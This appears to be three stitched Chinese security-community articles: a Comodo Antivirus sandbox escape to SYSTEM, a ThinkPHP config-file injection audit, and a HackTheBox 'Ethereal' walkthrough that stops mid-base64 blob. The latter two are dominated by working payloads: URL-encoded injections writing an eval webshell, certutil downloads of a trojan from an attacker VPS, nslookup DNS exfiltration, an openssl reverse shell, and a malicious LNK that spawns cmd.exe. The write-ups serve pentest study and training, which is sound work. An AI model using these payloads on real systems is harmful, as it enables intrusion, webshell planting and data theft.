在创建沙箱化进程后，`Guard64.dll`（几乎每个运行的进程中都会注入该dll）负责从用户模式中发送这些containment消息。例如，`Guard64.dll`会hook
`Explorer.exe`的`CreateProcessInternalW`
API，这样当用户执行不可信进程时，就会向`Cmdguard.sys`过滤器端口发送一个“containment”消息。现在当不可信进程启动时，驱动程序会将打上“contained”标记，阻止文件、注册表I/O操作。此外，`Cmdguard.sys`会将`Guard64.dll`注入沙箱化进程中，执行用户模式下的hook操作。
图2. `Cmdguard.sys` dll注入流程
`Guard64.dll`在用户模式下设置的hook如下图所示：
图4. `Guard64.dll`用户模式hook
这些hook有个相同的功能，就是避免沙箱化的进程连接非沙箱化进程创建的安全对象。为了完成该任务，Comodo会将一个`!comodo_6`标记附加到沙箱化进程创建或打开的每个对象名，避免对象名与系统上已有的安全对象发生名字冲突（或者关联）。
实际上，这也是RPC/ALPC沙箱隔离的工作原理。RPC/ALPC流量会被转移到沙箱化的`Svchost.exe`实例（参考上图），这是因为`!comodo_6`会附加到沙箱化进程尝试连接的端口名，而沙箱化的`Svchost.exe`实例也会创建附加`!comodo_6`的端口名。如下图所示，我们可以看到沙箱化的MSI安装程序尝试运行，发起RPC调用后最终会创建沙箱化的`MSIexec.exe`服务组件（父进程为`cmdvirth.exe`）。
图5. 沙箱化的ALPC生成沙箱化的MSIExec实例
绕过这些用户模式hook并不难，但想通过这种方式实现沙箱逃逸并不容易。如果想简单patch与ALPC相关的hook，通过WMI实现逃逸显然不可能，因为这些位置同样会被`CmdAgent.exe`监控并阻止。了解关于Comodo沙箱环境的基本知识后，下面我们来研究下如何实现沙箱逃逸及权限提升。
## 0x02 创建Comodo COM客户端
Comodo在各种AV组件之间使用了许多IPC机制，包括：过滤端口、共享内存、LPC以及COM。这里我们将重点关注COM。如果大家想了解COM，可以参考[这篇文章](https://docs.microsoft.com/en-us/windows/desktop/com/the-component-object-model?source=post_page---------------------------)。简而言之，COM的全称为“Component
Object
Model”，是微软提供的一种技术，允许不同模块创建由COM服务端定义的各种对象并与之交互。COM服务端可以本地部署（在当前进程中加载的一个COM服务端dll）或者远程部署，可以通过ALPC进行交互。在利用形式上，远程部署可能是更为有趣的应用场景。
我们发现Comodo可以从低权限进程（如`explorer.exe`，通过Context Shell
Handler（当用户右键点击时出现的菜单）或者`Cis.exe`（Comodo客户端GUI））发起扫描任务。这些扫描任务可以通过调用`CAVWP.exe`中的例程来发起，而该程序以`SYSTEM`权限执行。
如果我们能澄清如何按照Comodo的方式连接到这个服务，那么可能我们会找到一种新的攻击面，发现除“扫描”之外更多有趣的函数。我们需要通过COM实现与`CAVWP.exe`的远程交互，因为从注册表中可知，`CAVWP.exe`是一个进程外的COM服务端：
图5. `CAVWP.exe` COM服务端
接下来分析`Explorer.exe`以及Comodo
COM客户端如何通过COM远程触发这些“扫描”动作。前面提到过，Comodo在`Explorer.exe`的Shell Context
Menu中注册了一个handler（`CavShell.dll`），因此低权限客户端`Explorer.exe`可以发起扫描动作。
图6. `Explorer.exe`中的Comodo Context Menu Handler
逆向分析这个shell扩展接口后，我发现其中Comodo实现了一个“扫描”客户端COM例程。理解这个函数可以帮助我们了解如何构造自己的COM客户端。
图7. `Cavshell.dll`（Context Menu Handler）的“Scan File”例程
该代码流程中对`CoGetClassObject`的调用比较有趣。`CoGetClassObject`会返回指向某个接口的一个指针，而该接口对应与CLSID关联的某个对象。在注册表中查找后，我们发现这个CLSID对应“Cis
Gate Class”，并且很快我们意识到`CAVavWp.exe`与这个类没有任何关系，该类对应的实际COM服务端为`CmdAgent.exe`。
图8. 根据CLSID（CLSID_CisGate）发现COM服务端为`Cmdagent.exe`。
经过研究后我们发现，`CmdAgent`充当的是低权限COM客户端与`CavWp`之间的代理角色，`CavWp`会代表我们通过`CisGate`接口向`CmdAgent`发起扫描请求。这里我们的主要目标是理解并设置这些绑定关系，这样才能进一步利用更多的攻击面。
逆向分析客户端（以及部分`CmdAgent`逻辑）后，我们成功迁移了COM代码，澄清了正确的方法偏移地址，并且重新设计我们的代码，以模拟这些COM对象的操作。
图9. 模拟“伪造的”Comodo COM客户端
## 0x03 代码签名问题
然而，这段代码无法运行成功，`CisClassFactory`的`CreateInstance`会调用失败，返回`E_ACCESSDENIED`。这一点比较奇怪，因为我们的进程权限与`Explorer.exe`以及`Cis.exe`一样，而后者却能成功调用，原因究竟是什么？
在调试器中调试`CmdAgent.exe`，可以看到程序会收到我们执行的`CreateInstance`调用，并且进入一个自定义的`E_ACCESS_DENIED`消息分支。
图10. `Cmdagent.exe`阻止未签名进程通过COM进行交互
这意味着这个`ACCESS_DENIED`并不是由Windows发出，而是Comodo自己做出的决定。
这个决策实际上是基于签名检查，签名检查会验证请求实例的COM客户端是可信的、“经过签名的”程序。观察`Cmdagent.exe`中的签名检查例程，可以看到文件需要由Comodo或者微软签名，这一点也能够理解，因为这样只有`Explorer.exe`或者`Cis.exe`这两个客户端才能调用`CmdAgent.exe`中的COM方法。
图11. `Cmdagent.exe`签名校验类（`HardMicrosoftSigner`/`HardComodoSigner`）
其实这个签名校验过程很容易被绕过，大家能不能发现问题所在？这里`CmdAgent.exe`会解析COM客户端的进程名，以便后续从磁盘上执行签名检查过程：
图12. `Cmdagent.exe`查找COM客户端的完整映像名
大家可能知道一点，[GetModuleFileNameEx](https://docs.microsoft.com/en-us/windows/desktop/api/psapi/nf-psapi-getmodulefilenameexa?source=post_page---------------------------)实际上只会查询目标进程的[PEB-](https://docs.microsoft.com/en-us/windows/desktop/api/winternl/ns-winternl-_peb?source=post_page---------------------------)>Ldr->`InMemoryOrderModuleList`，以便获取完整映像名。然而这个路径我们可以控制，因此我们可以在自己的进程中轻松修改这个特征。
还有另一种解决办法，我们可以将代码注入可信的微软程序或者Comodo程序，从中发起COM请求。然而Comodo会阻止dll注入操作，因此为了绕过这一点，我们需要对可信的Comodo程序执行Process
Hollowing操作。
这个过程比操作我们自己的PEB还麻烦，但能给我们带来更大的优势。通过这种方法，`Cmdguard.sys`驱动就不会注入`Guard64.dll`，因此也不会在我们的进程中设置各种hook。如果目标进程“不可信”，那么`Cmdguard.sys`就会调用`InjectDll`例程，如下图所示。如果我们对`C:\Program
Files\COMODO\COMODO Internet
Security\CmdVirth.exe`执行Hollowing操作，那么就可以绕过`IsProcessUntrusted`检查，因为驱动会根据可执行文件路径来判断该程序为可信程序，因此会成功放行。
图13. 如果目标进程“可信”，`Cmdguard.sys`就不会注入`Guard64.dll`
现在我们添加了一个Process Hollowing例程，用来处理`C:\Program Files\COMODO\COMODO Internet
Security\CmdVirth.exe`实例（该程序由Comodo签名），用我们的代码替换其中的可执行代码。现在注入的代码会执行我们前面设置的COM处理逻辑，并且能够绕过签名检查，不存在任何hook。我们重新运行这段代码，成功通过低权限进程，在设置沙箱标记的情况下触发扫描任务！
图14. 从自定义的未签名的COM客户端成功触发扫描操作
## 0x04 寻找可滥用的COM接口
可以从沙箱进程中执行扫描操作后，我们现在可以寻找`CmdAgent`中是否存在更多有趣的COM接口。观察我们提取到的60多个`CisGate`接口后，我们只找到了1个值得关注的对象，但这些接口都正确使用了[`CoImpersonateClient`](https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-coimpersonateclient?source=post_page---------------------------)，成功阻止了我想要找到的逻辑错误。当然还有许多方法可以研究，因为我们其实能提取出更多的接口。前面提到过，我们可以使用`CreateInstance`在`CmdAgent.exe`中创建一个CisGate对象。因此我们有可能创建更多的对象，研究更多的方法，让我们回到CmdAgent。
`ICisClassFactory`->`CreateInstance`函数会创建所需的对象，调用`CisGate`->`QueryInterface`返回请求的接口指针。这里提一下，[QueryInterface](https://docs.microsoft.com/en-us/windows/desktop/api/unknwn/nf-unknwn-iunknown-queryinterface\(refiid_void)?source=post_page—————————————-)是`IUnknown`中的一个核心函数，是所有COM类的基类。简而言之，该函数会将[
_riid_](https://docs.microsoft.com/en-us/windows/desktop/learnwin32/asking-an-object-for-an-interface?source=post_page---------------------------)（接口标识符）解析成对象接口，这样客户端（比如我们开发的客户端）就可以调用接口上的方法。了解这一点后，我们可以逆向分析`CmdAgent.exe`的`QueryInterface`函数，观察其中支持哪些接口。
图15. `CmdAgent.exe`支持的接口
我们列出了`QueryInterface`支持的`supported_interfaces`，根据注册表中发现的信息来命名每个GUID。这里`IID_ICisFacade`这个riid用来返回`CisGate`对象，另一个比较有趣的目标是`IID_IServiceProvider`。查看[IID_IServiceProvider](https://msdn.microsoft.com/en-us/ie/cc678965\(v=vs.94)?source=post_page—————————————-)官方文档，貌似该接口可以给我们提供很多信息。在`Cis.exe`（Comodo
GUI Client）中搜索`IID_IServiceProvider`
GUID，发现Comodo的确在使用该接口。逆向分析代码逻辑后，我们可以澄清自己如何使用该接口、Comodo想使用的服务以及想执行的操作。
## 0x05 注册表读取
`Cis.exe`会使用`IServiceProvider`来执行[QueryService](https://docs.microsoft.com/en-us/windows/desktop/winauto/using-queryservice-to-expose-a-native-object-model-interface-for-an-iaccessible-object?source=post_page---------------------------)操作，用来获取Comodo定义的`SvcRegistryAccess`对象，部分代码片段如下图所示：
图16. `Cis.exe`获取`ISvcRegistryAccess`
这表明`Cis.exe`会从`CmdAgent.exe`获取`SvcRegistryAccess`对象，然后调用该对象中的方法读取注册表键值并返回数据。能让具备`SYSTEM`权限的进程帮我们读取注册表，这听起来已经是比较不错的一个攻击路径，但我感觉开发者不会只把这个`SvcRegistryAccess`当成一个“只读”类。让我们回到`CmdAgent`，观察这个COM类的实现机制。
在`CmdAgent`中，我们可以看到被远程调用的`ISvcRegistryAccess`方法会直接读取注册表键值，将数据返回给客户端，整个过程不涉及到`CoImpersinateClient`。这意味着我们可以使用`SYSTEM`权限读取注册表键值，因为这也是`CmdAgent`所具备的权限。
图17. `CmdAgent.exe` `ISvcRegistryAccess`以`SYSTEM`权限读取注册表，没有使用模拟机制
## 0x06 注册表写入
现在来看一下这个COM对象是否支持注册表写入。进一步研究`vtable`后，我们看到其中某个方法会调用`RegSetValueExW`。
图18. `CmdAgent.exe`会调用更加有趣的一些方法（设置注册表键值）
图19. `CmdAgent.exe` `ISvcRegistryAccess`方法以`SYSTEM`权限设置注册表键值
显然，如果我们调用该方法，就能以`SYSTEM`权限执行注册表写入操作，因为我没有在代码中找到对任何身份模拟API的调用。我们修改了自己的COM客户端代码，获取`IServiceProvider`，解析`ISvcRegistryAccess`，然后调用这个“注册表写入”方法。如果我们观察通过调用`GetRegInterface`来获取`regInterface`的过程，就可以看到`CmdAgent.exe`实际上只创建了一个只读的注册表键值句柄，因此尝试调用这个“写注册表”方法就会出现`ACCESS_DENIED`问题。幸运的是，我发现了`ISvcRegKey`
vtable中由另一个方法，通过传递一些额外参数，可以将我们的注册表句柄变成“可写”状态。
在原有代码中调用该方法，同时传入适当参数，这样就能获取“可写的”`ISvcRegistryAccess`。
图20. 修改COM客户端以获取可写的注册表接口
整合在一起，我们最终得到了如下代码，能够以`SYSTEM`权限执行注册表写入操作。
图21. 最终的COM客户端代码
图22. 成功覆盖高权限注册表键值
## 0x07 提升至SYSTEM权限
稍微总结下，我们运行沙箱化应用，对Comodo签名的程序执行Process
Hollowing操作（以便绕过CmdAgent的签名校验机制），然后通过该程序运行我们开发的COM代码，从我们“沙箱化的”进程中以`SYSTEM`权限执行注册表写入操作。如果想通过这种方法实现权限提升，典型的方法就是劫持已有的服务，这里我们可以选择`CmdAgent.exe`。通过替换注册表`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CmdAgent`对应的`ImagePath`值，我们就可以将`CmdAgent`服务替换成我们自己的程序，然后以`SYSTEM`权限运行。
图23. `CmdAgent.exe`服务
然而，如果我们想要第一时间获得`SYSTEM`权限，我们需要重启`CmdAgent`服务（不然就要等待下次重启）。幸运的是，我们有办法能够完成该任务，我找到了让`CmdAgent`崩溃的方法，这样服务就会自动重启，最终启动我们的程序。想让`CmdAgent`崩溃非常简单，该进程会对外提供结构化数据的一个[Section
Object](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views?source=post_page---------------------------)（内存区对象），而`EVERYONE`具备该对象的写入权限：
图24. `CmdAgent.exe` `Section Object`公开可写的对象数据（`SharedMemoryDictionary`）
`CmdAgent`将这个缓冲区当成一个`SharedMemoryDictionary`，这是共享内存中对外公开的一个类对象。我们可以在对象成员中写入错误的大小值，这样当`CmdAgent`尝试读取这个`SharedMemoryDictionary`时（`CmdAgent`经常会执行该操作），就会出现越界读取问题，最终导致`CmdAgent`崩溃。当服务恢复时，就会执行我们设置的程序，最终让我们提升至`SYSTEM`权限。
图25. 成功提升至`SYSTEM`权限
大家可以观看[此处视频](https://youtu.be/rHKRiSy8FoA)了解攻击过程，点击[此处](https://github.com/tenable/poc/tree/master/Comodo/Comodo%20Antivirus?source=post_page---------------------------)下载源代码。 | 社区文章 |
# 0x01 前言
闲来无事挖挖漏洞，发现一个经过了一些过滤的漏洞，踩了无数的坑，然后冥思苦想了许多方法，终于找到了一个点，使得可以进行命令执行与getshell。这里的漏洞点不值一提，但是因为绕过方法挺好玩的，故在这里分享一下思路，大佬勿喷～
思路不唯一，也希望有其他方法的话，大佬们可以不吝赐教，在评论区留下具体方法，谢谢大家～
# 0x02 代码审计环境
此次代码审计采用的是phpstudy一键式搭建。
phpstudy下载地址：<https://www.xp.cn/download.html>
代码审计分析工具：nopad++，seay源代码分析工具
# 0x03 开始审计
话不多说，先看一下目录结构，很明显的tp5框架
在\thinkphp\base.php文件中也可以看到对应的tp版本号（5.0.24版本好像有个反序列化，其实也可以尝试一下）
虽然seay用现有的规则扫描扫出来的漏洞不太准确，但是帮忙定位危险函数还是可以的，所以我一般都会先进行自动审计。
接下来就是一个个漏洞分析了，都点进去看一看。
其实只需要看2点：
1.用户可以控制输入的内容
2.输入的内容被放到危险函数中进行了执行
(需要进行流程跟进的话还是推荐使用phpstorm工具的，我这里因为是在虚拟机中，就简单用了seay和nopad++代替)
# 0x04 漏洞点分析
1、具体我发现这个漏洞是在/app/admin/controller/api.php文件下的debug函数
public function debug()
{
$path = 'app/extra/debug.php';
$file = include $path;
$config = array(
'name' => input('id'),
);
$config = preg_replace("/[?><?]/", '', $config);
$res = array_merge($file, $config);
$str = '<?php return [';
foreach ($res as $key => $value) {
$str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) {
return json(array('code' => 1, 'msg' => '操作成功'));
} else {
return json(array('code' => 0, 'msg' => '操作失败'));
}
}
在代码第15行通过file_put_contents()函数将id传参的内容写入到app/extra/debug.php文件中。
2、可以看到上面进行了一些过滤，将<>和?替换为空
$config = preg_replace("/[?><?]/", '', $config);
3、这里直接将不太清晰，实战演示一下，首先访问后台路径，这里有个debug功能，就是上面debug函数的功能点。
<http://127.0.0.1/index.php/admin/>
4、具体使用时发现报错了，那就直接访问对应的函数，路由规则就是/index.php/目录-文件-函数.html?传参=。
这里我传参123进行测试
<http://127.0.0.1/index.php/admin-api-debug.html?id=123>
5、在debug.php文件中可以看到123是放到数组中的值处，而我们可以控制这里的值。
<?php return ['name'=>'123',];
6、下面讲解我进行绕过的思路以及遇到的坑。
# 0x05 绕过思路
## 第一次踩坑
1、首先，这里因为没有过滤单引号和中括号，所以我们可以手动闭合
payload:
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27];phpinfo();//
这里可以看到数据是成功写入进文件中的
<?php return ['name'=>'123'];phpinfo();//',];
2、访问debug.php文件试试发现，页面并没有返回想要的内容
3、这里我想了好久，想着试试更换echo输出看看
<?php return ['name'=>'123'];echo '12344321';//',];
在页面中并没有输出
4、查阅资料之后理解了return后代码不再向下执行，此路不通
参考链接：<https://www.cnblogs.com/gzpu/p/13736420.html>
## 第二次踩坑
1、既然不能通过分号结束代码后执行其他代码的话，我能不能在return中执行代码呢，此处进行了尝试
<?php return ['name'=>'123',eval($_REQUEST[1]);'',];
于是……页面报错了
2、再试试换行
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27,%0aeval($_REQUEST[1]);%27
好的，还是不执行
## 第三次，渐渐好起来了
1、因为代码执行行不通，那我就想着试试命令执行看可不可以。先申请一个dnslog，链接：<http://dnslog.cn/>
2、使用.拼接反引号执行命令
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27].`ping%20123.yh6nta.dnslog.cn`;//
查看文件情况
<?php return ['name'=>'123'].`ping 123.yh6nta.dnslog.cn`;//',];
访问看看，发现报错了，但是dnslog记录了数据，命令执行成功了
3、这里报错怀疑是使用了点进行拼接，两边的字符类型不匹配，因为命令执行可以使用符号进行连接，所以在这里将点替换成&。
因为&在url中还有其他含义，所以先进行url编码。
123']&`ping 123.yh6nta.dnslog.cn`;//
#url编码
123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F
查看文件情况
<?php return ['name'=>'123']&`ping 123.yh6nta.dnslog.cn`;//',];
访问debug.php文件，页面没有报错，而且dnslog成功回显
4、既然可以执行命令了，很明显这里是无回显的情况，那么怎么拿到shell呢
PHP无回显情况下的渗透测试可以参考此文章：
<https://xz.aliyun.com/t/9916>
### Linux系统
这里不细说，只要命令没有<、>、?即可
1、nc反弹shell
2、配合其他组件，如redis等
3、等等～
### Windows系统
#### 1、第一次尝试
使用`ping `whoami`.yh6nta.dnslog.cn`，失败
使用`ping /`whoami/`.yh6nta.dnslog.cn`，失败
使用`ping %系统变量%.yh6nta.dnslog.cn`，失败
#### 2、第二次尝试
使用系统命令外带数据，首先我在文件中直接修改，发现可以成功外带数据
<?php return ['name'=>'123']&`cmd /c whoami > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.yh6nta.dnslog.cn)&del temp`;//',];
后面发现，这条命令中含有一个>号，苦恼好久，暂时放弃。不过我觉得这个命令可以适当优化，然后就可以使用了。
#### 3、第三次尝试，成功getshell
这里借鉴了XX师傅的建议，通过命令下载文件getshell
1、首先需要准备一个文件，内容为一句话木马，放到vps的web服务中。（当然起一个python的http服务也可以，主要是要可以访问获取。）
2、windows中可以使用certutil下载文件
#payload：
']&`certutil -urlcache -split -f http://vps地址:83/shell 1.php`;//
#url编码：
%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps地址%3A83%2Fshell%201.php%60%3B%2F%2F
#通过id传参：
http://127.0.0.1/index.php/admin-api-debug.html?id=%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps地址%3A83%2Fshell%201.php%60%3B%2F%2F
3、查看debug.php文件情况
4、访问debug.php后，会在当前目录生成1.php，内容为一句话木马
5、执行phpinfo函数
## 原来竟然如此简单？
1、因为前面命令执行可以使用符号进行连接，我想着在代码中也试试，看看能不能直接执行一句话木马（测试了｜、｜｜、&、&&，只有&和&&的时候可以执行）
同样先进行url编码
123']&&eval($_REQUEST[1]);//#url编码123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F
http://127.0.0.1/index.php/admin-api-debug.html?id=123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F
在文件中是这样的
<?php return ['name'=>'123']&&eval($_REQUEST[1]);//',];
尝试访问，成功执行代码
居然就这样就可以了……
# 0x06 总结
本次代码审计发现漏洞很快，但是利用起来整了我2天，还是在师傅们的帮助下完成的深入利用。忽然发现自己对于编程语言的基础还很不扎实，一些简单处理的地方居然思考了那么久，在之前发现漏洞的情况下，一般都是可以直接利用了，此次bypass的时候发现了很多不足。在以后的代码审计中，简单利用的漏洞只会越来越少，我还需要多深入学习代码知识，才能从一些过滤薄弱点出发，发现漏洞。嗯嗯，总结一句话，不论是学什么东西，基础很重要很重要！ | 社区文章 |
## 信息收集
nmap -sV -sC -A 10.10.10.106
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ethereal
8080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
打开10.10.10.106页面，发现一个Ping的链接，点开跳转<http://ethereal.htb:8080/>
修改hosts文件，绑定ethreal.htb
vi /etc/hosts
10.10.10.106 ethereal.htb
打开后发现需要验证用户名和密码。
这里ftp有个匿名登陆，直接anonymous登陆。
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
07-10-18 09:03PM <DIR> binaries
09-02-09 08:58AM 4122 CHIPSET.txt
01-12-03 08:58AM 1173879 DISK1.zip
01-22-11 08:58AM 182396 edb143en.exe
01-18-11 11:05AM 98302 FDISK.zip
07-10-18 08:59PM <DIR> New folder
07-10-18 09:38PM <DIR> New folder (2)
07-09-18 09:23PM <DIR> subversion-1.10.0
11-12-16 08:58AM 4126 teamcity-server-log4j.xml
226 Transfer complete.
解压FDISK.zip发现一个 FAT的文件类型
unzip FDISK.zip
file FDISK
FDISK: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "MSDOS5.0", root entries 224, sectors 2880 (volumes <=32 MB), sectors/FAT 9, sectors/track 18, serial number 0x5843af55, unlabeled, FAT (12 bit), followed by FAT
## 挂载FDISK
创建一个挂载点，
mkdir /mnt/htbdisk
完成挂载
mount -t vfat /home/Rogerd/tools/htb/ethereal/FDISK /mnt/htbdisk
查看文件，通过strings查看pbox.dat文件信息。
ls -al /mnt/htbdisk/pbox/
总用量 88
drwxr-xr-x 2 root root 512 7月 3 2018 .
drwxr-xr-x 3 root root 7168 1月 1 1970 ..
-rwxr-xr-x 1 root root 284 7月 3 2018 pbox.dat
-rwxr-xr-x 1 root root 81384 8月 25 2010 pbox.exe
$ strings /mnt/htbdisk/pbox/pbox.dat
PasswordBox
S ?8$
cI8!
L@i,r
6N\7
\~pe
## 破解pbox
搜索passwordbox pbox，找到并下载（pbox011-linux.zip）。
解压后运行，提示缺少libncurses.so.5，安装lib5运行pobx，想要读取pbox.dat数据必须放在用户目录下，并重命名为.pbox.dat
./pbox
./pbox: error while loading shared libraries: libncurses.so.5: cannot open shared object file: No such file or directory
sudo apt-get install libncurses5:i386
cp /mnt/htbdisk/pbox/pbox.dat /home/Rogerd/.pbox.dat
./pbox
Enter your master password: password
读取完以后发现里面存放的都是一些密码信息。
相关的密码信息：
./pbox --dump
databases -> 7oth3B@tC4v3!
msdn -> [email protected] / P@ssword1!
learning -> alan2 / learn1ng!
ftp drop -> Watch3r
backup -> alan / Ex3cutiv3Backups
website uploads -> R3lea5eR3@dy#
truecrypt -> Password8
management server -> !C414m17y57r1k3s4g41n!
svn -> alan53 / Ch3ck1ToU7>
## 8080 RCE
输入用户密码打开8080
user: alan
password: !C414m17y57r1k3s4g41n!
尝试用执行ping命令 ， 使用tcpdump获取数据。
接收到数据，表示可以通信
sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
返回：
11:32:35.724661 IP ethereal.htb > kali: ICMP echo request, id 1, seq 58, length 40
11:32:35.724717 IP kali > ethereal.htb: ICMP echo reply, id 1, seq 58, length 40
使用responder 获取返回数据
sudo responder -I tun0
在8080上执行这串命令
127.0.0.1 & for /f %i in ('whoami') do nslookup %i 10.10.14.57
返回：
[+] Listening for events...
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .etherealalan
127.0.0.1 & for /f "tokens=1,2,3," %a in ('dir /B "C:\inetpub"') do nslookup %a.%b.%c 10.10.14.57
返回：
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .custerr
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .ftproot
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .history
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .logs
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .temp
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .wwwroot
## 尝试下载NC
把nc.exe放入python服务下。
python -m SimpleHTTPServer 8000
使用powershell 下载失败
127.0.0.1 & powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.57:8000/nc.exe');
使用certutil.exe下载失败
certutil.exe -urlcache -split -f http://10.10.14.57:8000/nc.exe c:\users\public\desktop\shortcuts\nc.exe
下载失败的具体原因无法判断，使用&&拼接方式来判断
这里判断一下是否执行成功，我们使用&&拼接，只要有一个错误就无法运行ping命令，最后判断powershell和certutil无法使用。
127.0.0.1 && whoami && ping 10.10.14.57
## 发现防火墙策略
把防火墙策略写入firewall.txt
127.0.0.1 & netsh advfirewall firewall show rule name=all | findstr "Rule Name:" | findstr "Allow" > C:\users\public\desktop\shortcuts\firewall.txt
读取文件信息，并通过nslookup返回给主机
执行：
127.0.0.1 & for /f "tokens=1,2,3,4,5,6,7,8" %a in ('type C:\users\public\desktop\shortcuts\firewall.txt') do nslookup %a.%b.%c.%d.%e.%f.%g.%h 10.10.14.57
返回：
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.ICMP.Request
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.TCP.Ports.73.136
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.UDP.Port.53
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.Port.80.8080
[*] [DNS] Poisoned answer sent to: 10.10.10.106 Requested name: .Rule.Name.Allow.ICMP.Request
## openssl 反弹shell
CA根证书的生成步骤：
生成CA私钥（.key）-->生成CA证书请求（.csr）-->自签名得到根证书（.crt）（CA给自已颁发的证书）。
签发X.509格式证书命令
keyout 私钥
ca.pem 自签名
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
设置证书链接，端口可以设置为73、136
sudo openssl s_server -key key.pem -cert cert.pem -quiet -port 73
执行openssll返回shell
在73端口监听返回的数据
127.0.0.1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:73
查看alan用户的目录
127.0.0.1 | dir c:\users\alan\desktop |C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:73
查看note-draft.txt
127.0.0.1 | type c:\users\alan\desktop\note-draft.txt | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:73
返回alan的目录信息：
Directory of c:\users\alan\desktop
07/07/2018 11:08 PM <DIR> .
07/07/2018 11:08 PM <DIR> ..
07/07/2018 11:07 PM 160 note-draft.txt
1 File(s) 160 bytes
2 Dir(s) 15,430,053,888 bytes free
返回note-draft.txt的信息
I've created a shortcut for VS on the Public Desktop to ensure we use the same version. Please delete any existing shortcuts and use this one instead.
- Alan
查看note-draft.txt文件，内容是个提示，为了使用户使用同一个版本的VS，
在public桌面创建了一个快捷方式，请删除该快捷方式。那就是生成一个病毒文件给其他用户执行。
我们先找到具体的文件， 最后在shortcuts找到 vs 2017.lnk文件，想办法替换生成一个。
127.0.0.1 | dir c:\users\public\desktop\Shortcuts | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:73
Directory of c:\users\public\desktop\Shortcuts
03/21/2019 01:15 AM <DIR> .
03/21/2019 01:15 AM <DIR> ..
03/20/2019 11:29 PM 720 evil.lnk.b64
03/20/2019 11:13 PM 531 rick.lnk
03/21/2019 01:06 AM 32,768 rick.msi
07/06/2018 02:28 PM 6,125 Visual Studio 2017.lnk
4 File(s) 40,144 bytes
2 Dir(s) 15,431,675,904 bytes free
## 生成恶意的lnk
使用LNKUp 生成一个lnkup.lnk
python generate.py --host localhost --type ntlm --output lnkup.lnk --execute "C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:73|cmd.exe|C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:136"
把lnk转换成base64字符串
openssl base64 -A -e -in 'new.lnk' -out out
cat out
TAAAAAEUAgAAAAAAwAAAAAAAAEZhAAAAAAAAAIBwpaS039QBgHClpLTf1AGAcKWktN/UAQAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAOcAFAAfUOBP0CDqOmkQotgIACswMJ0ZAC9DOlwAAAAAAAAAAAAAAAAAAAAAAAAAPAAxAAAAAAB1Tu14EABXaW5kb3dzACYAAwAEAO++dU7teHVO7XgUAAAAVwBpAG4AZABvAHcAcwAAABYAQAAxAAAAAAB1Tu14EABTeXN0ZW0zMgAAKAADAAQA7751Tu14dU7teBQAAABTAHkAcwB0AGUAbQAzADIAAAAYADwAMgAAKgQAdU7teBAAY21kLmV4ZQAmAAMABADvvnVO7Xh1Tu14FAAAAGMAbQBkAC4AZQB4AGUAAAAWAAAAsQAvYyBDOlxQcm9ncmF+MlxPcGVuU1NMLXYxLjEuMFxiaW5cb3BlbnNzbC5leGUgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0IDEwLjEwLjEzLjI0OjczfGNtZC5leGV8QzpcUHJvZ3JhfjJcT3BlblNTTC12MS4xLjBcYmluXG9wZW5zc2wuZXhlIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC4xMC4xMy4yNDoxMzYbAFxcbG9jYWxob3N0XFNoYXJlXDQ2MT